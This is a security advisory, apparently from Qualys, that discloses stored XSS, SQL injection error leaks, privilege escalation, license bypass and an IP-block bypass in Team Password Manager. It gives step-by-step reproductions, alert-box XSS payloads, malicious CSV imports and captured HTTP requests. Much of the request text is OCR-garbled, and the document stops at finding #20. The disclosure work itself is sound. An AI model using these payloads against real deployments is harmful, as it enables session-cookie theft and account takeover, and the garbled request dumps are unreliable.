Qualys Security Advisory QSA-2018-03-08

March 08, 2018

Team Password Manager Multiple Security Vulnerabilities

SYSTEMS INFORMATION:
Version: 7.78.161

Vendor URL : http://teampasswordmanager.com/

VULNERABILITY DETAILS

Vulnerability #1: Stored Cross-site Scripting — Password Tag

Stored Cross-site Scripting vulnerability found in Password tags field. A user can create/modify
Password and assign tags to it. User can inject the malicious code in tags field which will be
executed whenever the page is loaded in browser.

RISK FACTOR: High

URL.: http://<server ip>/<tpm path>/index.php/pwd/aj_edit_save/0

Parameters: tags, hidden_tags

As Normal user, Project Manager and IT user roles have permissions to create new password in
assigned project. Using this vulnerability an attacker can control application by getting session
cookie of any logged in user, which could also be 'admin’ user.

How to reproduce:

1. Click on "New Password" button.
2. Select any project.

3. Add following script in "Tag" field and press Enter or comma (,)
"><script>alert(document.cookie)</script>

_id=1fspasswerd_id=0kname newpassitaga=s en-tags=8IZ8IENICacriprhILal exe (document cookie)¥ICHITacripeddEsaccess_info=herpaddAbIFN:Fuwn facebook. comifa
oraucofillI=semail maerl¥dluser. comifakepwddonovaurofill 1=spassword=abcdlZldspasaword_visible=ahcdllldsfakepwddonotancofillZ=sxepear_password=abcdllddsrepear_p

4. When next time you open that project it will show alert box with session cookie


http://teampasswordmanager.com/
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New Project
C Filter Tree

Vulnerability #2: Stored Cross-site Scripting — Project Tag

Stored Cross-site Scripting vulnerability found in Project and Subproject tags field. A user can
create/modify Project and assign tags to it. User can inject the malicious code in tags field which
will be executed whenever the page is loaded in browser.

URL: http://<server ip>/<tpm path>/index.php/prj/aj_edit_save/0

Parameters: tags, hidden_tags

RISK FACTOR: High

As Project Manager and IT user role have permissions to create new Project in assigned project.
Using this vulnerability an attacker can control whole application by getting session cookie of
any logged in user, which could also be ‘admin’ user.

How to reproduce:

1. Click on "New Project" button.
2. Fill project name.

3. Add following script in "Tag" field and press Enter or comma (,).
"><script>alert(document.cookie)</script>

OST /epmw index_ php/pr3/aj_edic_save/0 KITP/1.1
ost

P
H
Usex-Agent: Mosilla/5.0 (Windows NT 10.0; Winf4; =64, zv:58.0) Gecko/20100101 Fizefox/$§8.0
Accept: application/json, text/javascripe, **; g=0.01

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gsip, deflate

Refezer: [N irdex . php/ pwd/ view 45

Content-Type: application/x-www-form-urlencoded; charset=UTT-§

K-Bequested-With: XMLHctpRequest

Content-Length: 179

Cockie: PHPSESS ID- I

Connection: clese

esrfr=5CacfSaealefcITEaE0addbIEa5E2dcElfeabaTsproject_id=0sparent_id=0&name=newprojectstags=chidden-tags=422%33E82Cscript¥3Lalert(document . cookie)¥3CA2TscriptsILanotes=newtproject

4. When next time you list all the projects, it will show alert box with session cookie.

< C | O M ex.php/pr/view/16

E_'ﬂ Home 88 Users / Groups  [EfLog {8 Settings I say's
| PHPSESSID=98996n100jk3nno0hcj13gccrs; TPM_LANG=ssssss |
— |
C

Filter Tree

Vulnerability #3: Stored Cross-site Scripting — Project Name



Stored Cross-site Scripting vulnerability found in Project and Subproject Name field. A user can
create/modify Project. User can inject malicious code to execute from password page.

URL.: nttp://<server ip>/<tpm path>/index.php/pri/aj_edit save/0

Parameter: name

RISK FACTOR: High

As Project Manager and IT user role have permissions to create new Project in assigned project.
Using this vulnerability an attacker can control whole application by getting session cookie of
any logged in user, which could also be '‘admin’ user.

How to reproduce:

1. Click on "New Project" button.
2. Add following script in "Name" field and fill other details.
“onclick=alert(document.cookie) tag

POST /epmw/ index.php/pri/aj_edic_save/0 HTTP/1.1

Host:

User-Agent: Mosilla/5.0 (Windews NT 10.0; Winf4; x£4; rv:50.0) Gecko/Z0Ll00101 Firefox/50.0
Accept: application/jsen, text/javascript, */*, q=0.01
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gmip, deflate

Referer: [N irdex: . php/ pry/ view 44
Content=-Type: application/x-www-form-urlencoeded; charsec=UTF-0
X-Requested-With: XMLHttpRequest

Content-Length: 142

cookie: PHPSESS D= TPt L ANG=en

Connection: close

csrfe=£8£al095£0702ee b dc158E001c10dE2TEGfa2alaprodect_id=0sparent_id=0&name=%2+onclick¥3Dalertidocument . cockie)ttagstags=chidden-tags=&notes

Open above created Project.

Click on “New Password” button.

Fill all the fields on New Password page and submit the page.

Now Go to view all the passwords.

7. Click on the project above created project, it will alert a popup with session cookie.

o0k w

e > ¢ @ © £ I <. ohp/ P/l B - Q% Qs

e

PHPSESSID=2glufskemmcfqurshiihdo74; TPM_LANG=en

Vulnerability #4: Stored Cross-site Scripting — Password Access Information



Stored Cross-site Scripting vulnerability found in Password Access information field. A user can
create/modify Password and add/modify access information of the specific Password. User can
inject malicious code to execute from password page.

RISK FACTOR: High

URL: nhttp://<server ip>/<tpm path>/index.php/pwd/aj_edit_save/0

Parameters: access_info

As Normal user, Project Manager and IT user roles have permissions to create new password in
assigned project. Using this vulnerability an attacker can control whole application by getting
session cookie of any logged in user, which could also be ‘admin’ user.

How to reproduce:

1. Click on "New Password" button.

2. Select any project.

3. Add following script in “Access” field and fill other details:
http://www.test.com/"<img src=a onerror=alert(document.cookie)>

=
POST /wpn/ index . php/ pwd/ aj_edit_save/0 KITP/1.1
Hose: [N

Usez-Agent: Mowilla/$.0 (Windows NT 10.0; Winf4; =£4; xv:50.0) Gecke/Z0100101 Fizefox/58.0
pe: applicavion/jsen, vexe/javascripe, */*; g=0.01

ing: .

Y ir.desc php/ pri/view 4E
oneene-Type: application/x-www-form-urlencoded ; charses=UTr-8
X-Requested-With: XMLEecpRequest

Concenc-Lengeh: 410

Coskie: PHPSESS 10 =N T Ft1 L AN G=<n
Connection: clese

carfe=f11e13220£10£578Iheas4ad Lat£51£224750 14baprojece_id=46sparaword_id=0sname newpasssvagr=chidden-vags=faccess info=herpVIANTA:Twww facehook combZFAZ283CingtsrchiDatonerroztdDalere (doc
£illl= =t £4112=demail =af i111= £il1

d_visible=, S=izepeat_passwerd=irepeat _password | visible=fexpizy, _date _edit=Gnstes=

4. When next time you open the project or view all the passwords the above payload will
get executed and it will show alert box.

e © 2 N ~sexonv/owacive B O Qsen

PHPSESSID=f2glufskemmcfqurshl1th8o74; TPM_LANG=en

[ o]

Vulnerability #5: Stored Cross-site Scripting — Import Passwords

Stored Cross-site Scripting vulnerability found in Import Password functionality. All above
mentioned vulnerabilities can be exploited using the import password functionality. This
functionality allows user to import passwords and its information through csv format. If csv file

contains vulnerable payloads for respective vulnerability, then it is possible to exploit it from
three different locations.



RISK FACTOR: High

URL: nhttp://<server ip>/<tpm path>/index.php/settings/import_upload

Parameter: access_info, tags, name

If the user uploads the vulnerable CSV file, then there is possibility of exploiting the application
and getting the full control of application through ‘admin’ role.

How to reproduce:

1. Create CSV file with the format given on csv help page.
2. Put payload at the respective locations. Following is the sample csv file with each
representing each payload.
Project Name Payload

" onclick=alert(1) tag,ddd

POST /tpm/ index.php/settings/ import_upload HTTP/1.1

Host

User-Agent: Mosilla/§.0 (Windows NT 10.0; Winfd; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/heml,application/xheml+xml , applicavion/xml ;q=0.9,*% *;q=0.8

Accept-Language: en-U3,en;q=0.5

Accept-Enceding: gmip, deflate

Refexex / index .php/ settings/ impoxt

Content-Type: mmltipart/form-data; boundary 3084348252280
Content-Length: 4€5

cookie: prpszss =[N 7t _Lavc=en

Connection: close

Upgrade-Insecure-Requests: 1

2084248353280

Content-Dispesition: form-data; name="csrft"

£1e76a284d2e£6720e08117£0bESSSTE£5905bEROE
482523280

Content-Disposition: form-data; name="parent_id"

o

352280
Content-Disposition: form-data; name="usezfile"; filename="a.csv"

Content-Type: application/wvnd.ms-excel

[" onclick=alere(1) tag", dda |

253280--

Password Access Information Payload

Myproject,ddd,http://www.google.com/"<img src=a onerror=alert(2)>

—

POST /epm/ index.php/ setcings/ import_uplead HTTP/1.1

Host

User-Agent: Mosilla/5.0 (Windows NT 10.0; Winf4; x£€4; rv:50.0) Gecko/Z010010L Firefox/$8.0
Accept: text/html,application/sxhtml+xml ,application/sxml ; q=0_9,%/ *, q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gsip, deflate

Refezex / index.php/ settings/ import

Content-Type: mmltipart/form-data; boundary 13358118750
Content-Length: 496

Cookie: PHPSESSID=4r7r204mvipilmuilpcaZ8g557; TPM_LANG=en

Connection: close

Upgrade-Insecure-Requests: 1

13358118750

Content-Dispesition: form-data; name="cszft"

02£047d7a£069a245€6c1217c4e003cEdaZZaTif€d
12258118750

Content-Disposition: form-data; name="parent_id"

o

12356118750
Content-Disposition: form-data; nmame='userfile®; filename="a_ csw"

Content-Type: application/wnd. ms-excel

r‘lyp:uject,:ldd,"http. / /s google. com/ "'<img src=a enerror=alert(2)>"

133568118750-~



Password tags Payload

Myproject,ddd,http://www.youtube.com/,User1, test,Notes,"><svg onload=alert(3)>

POST /tpm/ indes.php/ sett ings/ impore_uplead HITP/1.1
Hose: NN

User-Agent: Momilla/5.0 (Windows NT 10.0; Winf4; x£4; rv:58.0) Gecko/Z20100101 Firefox/58.0
Accept: text/html,appl ication/xheml+xml , appl icacion/xml; q=0.8,%/ *;q=0.0

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gsip, deflate

Referer: index _php/settings/ import

Content-Type: multipart/form-data; boundary 21€892077112308
Content-Length: 5I¢

Cookie: PHPSESSID=4r7r204mvipilmmilpcalfg557; TPM_LANG=en

Connection: clese

Upgrade-Insecure-Bequests: 1

318052077113308
Content-Disposition: form-data; name="csrfe"

BEd5db23baShI08EeSESESSOb20cadeb58eaSchs
216882077113308
Content-Disposition: form-data; name="parent_id"

o

21€882077113308
Content-Disposition: form-data; name="userfile"; £ilename="a. csv"
Content-Type: applicarion/wnd.ms-excel

Myproject,ddd, http://www_youtube com/ ,Userl, test Hotes, "]"><svg onload=alert(2)>"

318082077113208~-~

3. Now Upload the file from Import Password page.
4. Next time when you open the respective Project or View all Passwords, the payload will
get executed.

Project Name payload execution

((—:‘ - C @ ‘ © I o ohp/ovd/acive B - f}‘ ‘o\ Search

Password Access Information payload execution

(¢)> ¢ @ [© oo pho/pwalacive B O] Qseren

Password Tags payload execution



(¢)> ¢ @ O <o /0iview/s2 B 9% | Qserch

Vulnerability #6: Stored Cross-site Scripting — My Passwords Access Information

Stored Cross-site Scripting vulnerability found in Password Access information field on “My
Password” page of all users. A user can create/modify Password and add/modify access
information of the specific Password. User can inject vulnerable script to execute from password
page.

RISK FACTOR: High

URL: nttp://<server ip>/<tpm path>/index.php/mypwd/edit/<pwdid>

Parameter: access_info
How to reproduce:

1. Go to “My Password” page by clicking on link on upper right hand corner (near logout
button).

2. Click on “New Password”.

3. Add following script in “Access” field and fill other details:
http://www.test.com/"<svg onload=alert(10)>

POST /epm/ index .php/ mypwd/ edic/ 12 HTTP/1.1
Hose: I
Usez-Agent: Mosilla/5.0 (Windows NT 10.0; Winf4; x€4; rv:$8.0) Gecko/Z0100101 Firefox/58.0
ept: text/hml , appl icat ion/xheml +xml , appl ication/xml ;q=0.8,%/ *;q=0.0
cept-Language: en-US,en;q=0.5
epr-Encsding: guip, deflave
index . php/mypwd/ edis/ 12
application/x-www-form-urlencoded

JJJJJ  TRALL

€3x£6=404037bdaf 1144376 5144055105248 7663 _id=1z = i [
i112=gemail i1 | visibl nefil12m,

IMITHITa. combZTZIAICsvatonl oaddIDal excd 20104264304 111=
at_password_visible=inotes=

4. Now when a user views passwords by clicking on “All Passwords” link, above code will
get executed.



(€)= X @ @_ﬂndex,php/mypwd/a R

Vulnerability #7: Stored Cross-site Scripting — Import My Passwords

Stored Cross-site Scripting vulnerability found in Import Password functionality of My Password
Page. Above mentioned vulnerability can be exploited using the import password functionality.
This functionality allows user to import passwords and its information through csv format. If csv
file contains vulnerable payloads for respective vulnerability, then it is possible to exploit it from
three different locations.

RISK FACTOR: High

URL: http://<server ip>/<tpm path>/index.php/mysettings/import_upload

Parameter: access_info, tags

How to reproduce:

1.
2.

Create CSV file with the format given on csv help page.

Put vulnerable payload at the respective locations. Following is the sample csv file with
each representing one payload.

Go to “My Password” page by clicking on link on upper right hand corner (near logout
button).

Click on “My Settings” and navigate to “Import My Passwords”

Upload above created csv:

Password Access Information Payload

http://www.facebook.com/"<iframe onload=alert(5)>



(POST /epm/ index .php/mysett ings/ import_uplead HTTP/1.1
(Host:

User-Agent: Momilla/5.0 (Windews HOT 10.0; Winf4; x€4; zv:58.0) Gecko/Z0Ll00101 Firefox/58.0
| Accept: text/html,application/xhtml+txml,application/xml ;q=0.9,% * q=0.8
|Accept-Language: en-US,en;q=0.5
|Accept-Encoding: gsip, deflate
Beferer: _ index.php/mysettings/ import
| Content-Type: multipart/form-data; boundary=---------------=-------c---- 4£572859522185
|Content-Length: 417
|Cookie: PHPSESSID=kbpegBcvswlt048033pjqembhi; TPM_LANG=AARARAAARA
Connection: clese
|Upgrade-Insecure-Requests: 1

""""""""""""""" 4E£572059522185
-Coneenc'Disposieion: form-data; name="csrfe"

|Bb3ISEDTE48 7725079 74726LS5AZ1T72al££7e41a7
----------------------------- 465720855523195
|Content-Disposition: form-data; name="userfile"; filename="a.csv"

Content-Type: application/vmd.ms-excel

_mypass,"http://"i.facehook.comf““<i£:ame onload=alext(S)>" s vvvvvivivvvvrres |

|==mmmmmmmemeeeemeeeeee——————— 46572859523195-~

6. Now when a user views passwords by clicking on “All Passwords” link, above code will
get executed.

“) > X @ © I oo/ @t Q search

Vulnerability #8: Stored Cross-site Scripting — My Password Tag

Stored Cross-site Scripting vulnerability found in My Password tags field. A user can
create/modify Password and assign tags to it. User can inject the malicious code in tags field which
will be executed whenever the page is loaded in browser.

RISK FACTOR: High

URL: http://<server ip>/<tpm path>/index.php/mypwd/edit/0

Parameters: tags, hidden_tags

As Normal user, Project Manager and IT user roles also have permissions to create new
password in assigned project. Using this vulnerability an attacker can control whole application
by getting session cookie of any logged in user, which could also be ‘admin’ user.



How to reproduce:

1. Click on "New Password" button.
Select any project.

3. Add following script in "Tag" field and press Enter or comma (,).
"><script>alert(document.cookie)</script>

N

POST /epm/ index _php/ mypwd/ edit/0 HTTP/1.1

Hose
User-Agent: Masilla/5.0 (Windews T 10.0; Winf4; =£4; zv:58.0) Gecke/Z0100101 Tirefox/$8.0
Accepe: texe/hemd appl ication/sheml+xml , applicarion/mml q=0_6, 4/ *;q=0.8

Accept-Language: en-US,en;q=0.5
Accept-Encoding: gaip.
Referex

index. php/ mypwd/ add
Content=Type: appl ication/x-wne-form-uslencaded
Content-Lengeh: 356

Cookie: PHPSESSID=1ql7e7dapnslé: Jk5; TPH_L

Conneerion: clase
Upgrade-Insecure-Pequests: 1

id=0gn. =fnidden-rvag, ac: _coakiedis } i1l ake
ail=ct £i111=cp, 4_visinl Tueefillz=drepeat_p Feat_passwerd_visiblesinstess

4. Now Copy or Move the Password to Project.
5. When next time you open that project it will show alert box with session cookie

:(—: > G @ 192.168.0.8/tpm/index.php/prj/view/66 a -9 {}‘ ‘QSs-ar(h

PHPSESSID=2d2rqb68stdqciatetior2ios

[ Prevent this page from creating additional dialogs

Vulnerability #9: Stored Cross-site Scripting — Group Name

Stored Cross-site Scripting vulnerability found in Group Name field. A user can create
new/modify group and add users to it. User can inject the malicious code in Group Name field
which will be executed whenever the page is loaded in browser.

RISK FACTOR: High

URL: nhttp://<server ip>/<tpm path>/index.php/groups/edit/<group_id>

Parameter: name

How to Reproduce:



1. Add group with name: “><script>alert(‘xxx’)</script>

=

POST /tpm/ index.php/ groups/edit/4 HITP/1.1

User-Agent: Momilla/5.0 (Windows NT 10.0; Winf4; x£4; rwv:538.0) Gecko/Z01l00101 Firefox/S58.0
Accept: text/html,application/xhtmltxml,application/xml ;q=0.9,% * q=0.8
Accept-Language: en-US,en;gq=0.5§

Accept-Encoding: gsip, deflate

Referer: _ index . php/ groups/edit/4

Content-Type: application/x-www-form-urlencoded

Content-Length: 11£

Cookie: PHPSESSID=03pjdcpovujf0ippburcpe5o7; TPM_LANG=ffffffEfEf
Connection: close

Upgrade-Insecure-Requests: 1

csxfr=5T£3£22322£1facfess de.d..LSS.I.OeO(.LGEbO3£c53£g:oup_id=+nme=.::t3£t3c script¥3Eal ertdZ08Z Tuxx I 78288204 scriptdlE

Assign one user to a group

Go to User/Group Tab

Open above user’s data page.

This page will show this users all information.

From here admin/IT user can remove this user from groups.

When the admin/IT user will click on the cross sign, it will redirect to different page and
payload will get executed, as shown below:

No ok o

Data Log Passwords Projects

Username: a
E-mail address: a@acd.com

Name:

Role: It
Language: Mot set, using the default language: en - English | Si=i6e Loz |

Groups:  "=<script=alert(3ood)</script=

Add the User to a Group

Vulnerability #10: Stored Cross-site Scripting — Group Name



Stored Cross-site Scripting vulnerability found in Group Name field. A user can create
new/modify group and add users to it. User can inject the malicious code in Group Name field

which will be executed whenever the page is loaded in browser.

RISK FACTOR: High

URL: nttp://<server ip>/<tpm path>/index.php/pri/getmembers/<group id>

Parameter: name
How to Reproduce:

1. Add group with name: “><script>alert(‘xxx’)</script>

ol L 1 1 L

POST /tpm/ index _php/groups/edit/4 HTTP/1.1

User-Agent Mosilla/5.0 (Windows NT 10.0; Winf4; x€4; zv:58.0) Gecko/Z20100101 Tizefox/S58.0

Accept: text/html,application/xhtmltxml,application/xml q=0_.8,% * q=0.0
Accept-Language: en-U3,en;q=0.5

Accept-Encoding: gsip, deflate

Referex: _ index . php/ groups/edit/4
Content-Type: application/x-www-form-urlencoded

Content-Length: 11

Cookie: PHPSESSID=02pj3cpevujf03pphurcpe2507; TPM LANG=ffffffE££E
Connection: close

Upgrade-Insecure-Requests: 1

cs:tb=5’7f'3£:'J'3:Elfa:EeSFSddd.lSSlUeDEleEhU'3E:5S&g:ol\p_id=‘l|‘nme=‘::Q'3E.'3E‘sczipt‘?ﬂa.lezt‘:E.:"h;:;:;\:"ﬂ:?.?[‘l:l‘s:zipt.?f

2. Open any Projects page
3. Click on Security button.

test
Project: PMproject

Edit = Motes = Upload File

) Edit password security
Data Security Log

On the Security Page, click on Groups tab.
This tab will list all the groups created in application.

No v .k

Custom Fields Security = Locking = Ext. Sharing

Duplicate = Copy = Move

Get the mouse over the members link besides above created group.
When mouse is over the members link, application sends ajax call to get the list of

members in the group and it also executes payload present in group name field.



Vulnerability #11: Stored Cross-site Scripting — Email Configuration

Stored Cross-site Scripting vulnerability found in SMTP user field on the SMTP configuration
page. A user can add/modify SMTP Configuration. User can inject the malicious code in SMTP
user field which will be executed whenever the page is loaded in browser.

RISK FACTOR: High

URVL.: http://<server ip>/<tpm path>/index.php/settings/edit_mail_config

Parameter: eus
How to Reproduce:

Go to Settings tab.

Click on Email link on Left side

Click on SMTP Server Configuration

Enter following in SMTP user field: <img src=a onerror=alert('smtperror")

Check the checkbox of “Use the SMTP User as the email sender (otherwise it will use the email
of the user). If selected, the SMTP User must be an email address.”

6. Fill the detail on the page and Save the page.

e wnN e



SMTP Host localhost Leave blank to delete SMTP configuration
TLS/S5L Encryption (none) F|

SMTP Port | 25

SMTP User <img src=a onerror=alert'smtperror’)

SMTP Password sssee

|| Use the SMTP User as the email sender (otherwise it will use the email of the user). If selected, the SMTP User must be an email address.

7. Click on “Send test email (to yourself)” button.
8. It will execute payload and show alert box

smtperror

Vulnerability #12: Stored Cross-site Scripting —Additional Data in Log



Stored Cross-site Scripting vulnerability found in Logs. Whenever user uploads any file through
project page, log with file name gets generated and can be seen in Log Tab. User can inject the
malicious code in file name field, which will be executed whenever the page is loaded in browser.

RISK FACTOR: High

URL: nttp://<server ip>/<tpm path>/index.php/files/do_upload/pwd/<pwd id>/js

http://<server ip>/<tpm path>/index.php/files/do_upload/prj/<project id>/js

Parameter: filename

How to Reproduce:

1. Goto a Project. Click Upload File.

2. Click Browse. Select a file to upload.

3. Start Burp Intercept & click upload.

4. Add XSS payload on the file-name field as below:

W POST request to I  d e php/files/ do_upload/pri/3/js - O X

| Previous | | MNext || Action |

[ Original request ]Edted request I Response ]

I Raw | Params 1 Headers | Hex

Ffirefox/58.0 A

hoccept-Language: en-US, en;q=0.5

hocoept: /

hecept=Encoding: gzi deflate L
seterer: NN -« . pbp/ v 3/view/3

lontent-Length: 481

Zontent=Type: multipart/form-data;

JOURAAY Yo = e ZBS51EZTLL510935

Zookie: PHPSESSID=SnmanusilmiskT5£40539ggehks

Zonnection: close

————————————————————————————— 285162711510935
Zontent-Disposition: form-data; name="userfile”; filename="><img src=x
snerror=alert ("upload-file-delete-X55")>"

Zontent-Type: text/plain

ifdstsdfsdt

----------------------------- ZBS1E627115108935
content-Dispesition: form-data; nams="notes"

————————————————————————————— 285162711510835 f

Zlontent-Disposition: form-data; name="csrft" v

? [l < || * > »<img src=x oneror=alert{upload-file-delete-XS57)> 1 match

5. Now go to Log Tab, it will execute the payload.



e
N X Q (::‘_ ndexphp/alog 0ee. Q Q .\ ED =

upload-file-delete-XSS

o]

ung f-

6. Payload is executed for all the actions like “Upload File, Edit File Notes, View file notes, Delete
File”

Vulnerability #13: License Bypass

A person who has access to database can bypass the number of users’ license.

RISK FACTOR: High

How to Reproduce:

1. Create users and deactivate few of them.

Name Username | E-mail address Role | N° Groups = State
Admin Admin (D) samin/ [ Admin /1 [ Acwve )
test] test1 / abcd(@scd com mig =30
newact mio
et Normal user /0 [cie |
userenum Project manager / 1
Ghast User ghostuser / ghost@ocalhost localdomain Read only / 1

Filter by Group: Total rows: 6

test

2. Now application will allow to create more users as per license.



3. Now change the contents of ‘active’ column of ‘wmm_users’ table and make it as 1 for
all deactivated users.

| Search Users

your license(s): 5
ur licenses(s). Until this situation is corrected you cannot use Team Password Manager

3
g

Team Password Manager - teampasswordmanager com nses - Help - Advanced Search Help

Vulnerability #14: Privilege Escalation

A valid user, who also has access to Database can escalates its role by just changing the one value
in Database ‘wmm_users’ table.

TPM is password management application and may contain credential information across various
projects or departments. The team managing operating system and database systems should not get
access to other project credentials in any way.

Using privilege escalation issue a user which has control over backend database may modify
permission level and get access to TPM application as "admin™ level user. This allows user to
control TPM application fully and access all project credentials available in application.

RISK FACTOR: Medium

How to Reproduce:

1. Create one user with minimum privileges.



Username: newact

E-mail address: dd@c.com

Name: newact

Role: | Read only

Language: Not set, using the default language: en - English

Groups: | Add the User to a Group

3. The ‘newact’ user now will have admin privileges.

I Username: newact I

E-mail address: dd@c.com
Name: newact

Role:  Admin
Language: Not set, using the default language: en - English

Groups: Add the User to a Group

Vulnerability #15: API Access from Blocked IP

Web Application denies access to IP, which is blocked from ‘IP address blocking” page. But
Application resources can be accessed through API.



RISK FACTOR: Medium

How to Reproduce:

1. Block any IP from ‘IP address blocking page.

< ¢ @

192.168.0.8/tpm/indexphp/settings/ipb_filtert/m | IR Search

(=g Home 8 Users / Groups  [FBlog = 48 Settings

You'e using the FREE VERSION of h only allows you to have 2 users and 5 p

Ovenview
Version checker IP Adress Blocking Configuration
Licenses
Your IP address: 192.168.0.6
Export / import
Email

Blocked IP Addresses = Automatic Blocking Settings
Two-Factor Auth

IP address blocking
New IP to block

Search IP.
Pud. generator I saren s
LDAP authentication
Timeout
Encrypt DB Config
APl
Exgiration Al P 1P Address Type Creator Date/Time =
C. Field Tempiates Fiter by Type - Manual admin Mar 10, 2018 13-00
External Sharing
Manual
Languages Automatic Total rows: 1

Team Password Manager - teampasswordmanagercom - EULA and other licenses - Help - Advanced Search Help

2. Try to access, web application from blocked IP. It will show 403 page.

http://192.168.0.8/tpm/ x |+

Error

Access Forbidden (Error 403)

root@kali: ~ [ O )
File Edit View Search Terminal Help
:~# ifconfig
163<lIP. BROADC

n 64 op
(Ethernet)

1 collis

73<UP,LOOPBACK, RUNNING> mtu 65536

.7 MiB)
® frame @
8.7 MiB)
carrier @

3. Access Application Resources using API from the blocked IP. Application allows to
access its resources from blocked IP.



root@kali: ~
Edt View Search Terminal Help

http:/192.168.0.8tpm/ X

» [T ] Bc|® o tesno . =

Error

Access Forbidden (Error 403)

Vulnerability #16: SQL Injection on Edit User page

SQL Injection found on Edit User page. By changing the $group parameter in Request, causes the
application show error message in browser, which also shows the hashed password of the user
whose id is present in $user_id parameter.

RISK FACTOR: Medium

URL: http://<server ip>/<tpm path>//tpm/index.php/users/add_to_group/<user id>

Parameter: group
How to Reproduce:

Go to User/Group tab and open any user data.
Click on ‘Add the User to the Group’ button.

Select the group in which you want to add that user.
Click on “Save”

5. In Burp modify the group parameter like below:

POST /tpm/index.php/users/add_to_group/23 HTTP/1.1

HOSt: XXX.XXX. XXX.XXX

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;9=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://xxx.xxx.xxx.xxx/tpm/index.php/users/add_to_group/23
Content-Type: application/x-www-form-urlencoded

Content-Length: 68

Cookie: PHPSESSID=4r50jvt00c8sddunqdOckaki45; TPM_L ANG=ffffffffff
Connection: close

Upgrade-Insecure-Requests: 1

el A

csrft=7c3455dcec5d22cf6419fed05af9131aa8252430&user_id=24&group=18"'

6. Following is the Response of above query:



There has been the following exception, please send it to Team Password Manager support (http://teampasswordmanager.com/support/):

ErrorException Object
(
[message:protected] => Undefined index: 18'"'
[string:Exception:private] =>
[code:protected] => 8
[file:protected] => /var/www/html/tpm/wmm/controllers/users.php
[line:protected] => 1716
[trace:Exception:private] => Array
(
[0] => Array
(
[file] => /var/www/html/tpm/wmm/controllers/users.php
[line] => 1716
[function] => my error handler
[args] => Array
(
[0] => 8
[1] => Undefined index: 18''
[2] => /var/www/html/tpm/wmm/controllers/users.php
[3] => 1716
[4] => Array
(
[id] => 24
[data] => Array
(

[user_datal] => Array

[id] => 24

[username] => a

[email] => a@acd.com

[password] => %V452a$115yt90fSEfXn6IxFm8T.Vn.etsq8tBIJJKICWLCNUCO2ywx8KpEMZAVnS
[name] => test

Vulnerability #17: SQL Injection on Edit Group page

SQL Injection found on Edit Group page. By changing the $ user parameter in Request, causes the
application show error message in browser.

RISK FACTOR: Low

URL.: nhttp://<server ip>/<tpm path>/index.php/groups/add_to_group/<group id>

Parameter: user
How to Reproduce:

Go to User/Group tab and open any group data.
Click on ‘Add the User to Group’ button.
Select the user to be added in that group.

Click on “Save”

5. In Burp modify the user parameter like below:

POST /tpm/index.php/groups/add_to_group/19 HTTP/1.1

Host: 192.168.250.81

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;9=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.250.81/tpm/index.php/groups/add_to_group/19
Content-Type: application/x-www-form-urlencoded

Content-Length: 65

Cookie: PHPSESSID=72v159966170vdb4rh8me4clo3; TPM_LANG=ffffffffff
Connection: close

Upgrade-Insecure-Requests: 1

o



csrft=81930364cce3e9bb807b57f3fochbbB8eb76f2cd08&group_id=19&user=8"

6. Following is the Response of above query:

ErrorException Object
(
[message:protected] => Undefined index: 8'
[string:Exception:private] =>
[code:protected] => 8
[file:protected] => /var/www/html/tpm/wmm/controllers/groups.php
[line:protected] => 496
[trace:Exception:private] => Array
(
[0] => Array
(
[file] => /var/www/html/tpm/wmm/controllers/groups.php
[line] => 496
[function] => my error handler
[args] => Array
(
0] => 8
[1] => Undefined index: 8"
[2] => /var/www/html/tpm/wmm/controllers/groups.php
[3] => 496
[4] => Array
(
[id] => 19
[data] => Array
(
[group_data] => Array
(
[id] => 19
[name] => "><img>"'
[created on] => 2018-03-07 17:36:07
[created byl => 1
[updated on] => 2018-03-07 20:08:21

Vulnerability #18: Privilege Escalation — Default Language

Any authenticated User can change default language of ‘Admin’. A Read-only user also can
change the default language of admin user.

RISK FACTOR: Low

URL : nttp://<server ip>/<tpm path>/index.php/user_info/clang

How to reproduce:

1. Login to application with any other than admin role user (A read-only user can also
change default language.)

2. Go to its setting page, and click on Change language button.

3. Change the user id parameter to ‘1’ (assuming admin user will always have user_id as
‘1’) and new_lang parameter to any arbitrary value, in the Request as shown below:



—

POST /tpm/ index.php/usex_infe/clang HTTP/1.1

Host:

User-Agent: Mosill a/5.0 (Windows NT 10.0; Winf4d; x€4; zv:50.0) Gecko/201l00101 Firefox/58.0
Accept: text/html,application/xhtml+xml ,application/xml ;q=0.8,%/ *,q=0.8
Accept-Language: en~Ud,en;gq=0.5

Accept-Encoding: gsip, deflate

Referer: —,a index.php/user_info/clang

Content-Type: application/x-www-form-urlenceded

Content=Length: ES

Cookie: PHPSESSID=Svw2mm3vi2TmiOmkqs2Todlasi:

Connection: close

Upgrade-Insecure-Requests: 1

csrfe=5£dcT736da33b5110£23ThalafScS9393deSfeqdls Saiuser id=lénew lang=AAAAAAAAAAA I

4. Now the default language of ‘admin’ user has been set to ‘AAAAAAAAAAA’, as shown
below:

Data Log APl Keys

Username:  admin
E-mail address: _
Name: admin
Role: | Admin
Language: | AAAAAAAAAA - (Mo description

Groups:
Last Signed in: Mar 5, 2018 16:23 Last APl request: -
Created on: Feb 27, 2018 08:31 Updated on: Mar 5, 2018 16:23
By: admin By: o

Vulnerability #19: Self Reflected Cross-site Scripting — Password Tag

Self Reflected Cross-site Scripting vulnerability found in Password Tag field. A user can create
new/modify Password.

RISK FACTOR: Low

How to Reproduce:

1. Click on new password.

2. Select Parent Project.

3. Add following in Tag field: "><script>alert('xss")</script>,
4. 1t will show alert box



X558

|| Preventthis page from creating additional dialogs

Vulnerability #20: Self Reflected Cross-site Scripting — Project Tag

Self Reflected Cross-site Scripting vulnerability found in Password Tag field. A user can create
new/modify Password.

RISK FACTOR: Low

How to Reproduce:

1. Click on new Project.
